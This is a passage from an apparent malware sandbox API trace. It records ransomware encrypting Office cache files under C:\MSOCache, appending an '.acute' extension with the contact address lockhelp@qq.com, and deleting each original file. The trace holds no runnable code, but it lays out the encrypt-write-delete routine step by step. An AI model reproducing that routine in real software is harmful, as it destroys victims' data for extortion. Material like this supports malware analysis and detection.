Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0047.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.350] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.350] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.350] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.350] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.350] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.350] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.350] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5b2, lpOverlapped=0x0) returned 1 [0047.352] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5c0) returned 1 [0047.352] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5c0, lpOverlapped=0x0) returned 1 [0047.353] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931e0) returned 1 [0047.353] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.353] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.353] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.353] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.354] CryptDestroyKey (hKey=0x593060) returned 1 [0047.354] CloseHandle (hObject=0x170) returned 1 [0047.354] CloseHandle (hObject=0x184) returned 1 [0047.354] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0047.355] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.356] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.356] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=811) returned 1 [0047.356] CloseHandle (hObject=0x184) returned 1 [0047.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0047.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.580] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.580] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.580] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0047.580] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.580] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x32b, lpOverlapped=0x0) returned 1 [0047.582] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x330, dwBufLen=0x330 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x330) returned 1 [0047.582] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x330, lpOverlapped=0x0) returned 1 [0047.584] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0047.584] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.584] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.584] CryptDestroyKey (hKey=0x593220) returned 1 [0047.584] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.584] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.584] CloseHandle (hObject=0x170) returned 1 [0047.584] CloseHandle (hObject=0x180) returned 1 [0047.585] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0047.586] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.586] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.587] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=6241) returned 1 [0047.587] CloseHandle (hObject=0x170) returned 1 [0047.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.588] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.588] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.588] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.588] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.590] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0047.590] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.590] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x1861, lpOverlapped=0x0) returned 1 [0047.596] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1870, dwBufLen=0x1870 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x1870) returned 1 [0047.596] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x1870, lpOverlapped=0x0) returned 1 [0047.597] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0047.597] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.597] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.597] CryptDestroyKey (hKey=0x593220) returned 1 [0047.597] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.598] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.598] CloseHandle (hObject=0x170) returned 1 [0047.598] CloseHandle (hObject=0x19c) returned 1 [0047.599] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.600] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.600] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.600] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=9503) returned 1 [0047.600] CloseHandle (hObject=0x19c) returned 1 [0047.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0047.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.601] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.601] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.601] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0047.601] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.601] ReadFile (in: hFile=0x19c, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x251f, lpOverlapped=0x0) returned 1 [0047.603] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2520, dwBufLen=0x2520 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2520) returned 1 [0047.603] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2520, lpOverlapped=0x0) returned 1 [0047.605] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0047.605] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.605] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.605] CryptDestroyKey (hKey=0x593220) returned 1 [0047.605] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.605] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.605] CloseHandle (hObject=0x19c) returned 1 [0047.605] CloseHandle (hObject=0x170) returned 1 [0047.606] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0047.607] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.607] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.609] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1606) returned 1 [0047.610] CloseHandle (hObject=0x170) returned 1 [0047.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0047.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.610] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.610] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.610] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.610] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.610] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931e0) returned 1 [0047.611] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.611] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x646, lpOverlapped=0x0) returned 1 [0047.612] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650, dwBufLen=0x650 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650) returned 1 [0047.612] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x650, lpOverlapped=0x0) returned 1 [0047.614] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0047.614] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.614] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.614] CryptDestroyKey (hKey=0x593220) returned 1 [0047.614] WriteFile (in: hFile=0x19c, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.614] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.614] CloseHandle (hObject=0x170) returned 1 [0047.614] CloseHandle (hObject=0x19c) returned 1 [0047.615] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0047.616] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.616] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.258] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1988) returned 1 [0048.258] CloseHandle (hObject=0x178) returned 1 [0048.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0048.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0048.258] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.258] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.258] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0048.258] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0048.259] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5930a0) returned 1 [0048.259] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0048.259] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7c4, lpOverlapped=0x0) returned 1 [0048.261] CryptEncrypt (in: hKey=0x5930a0, 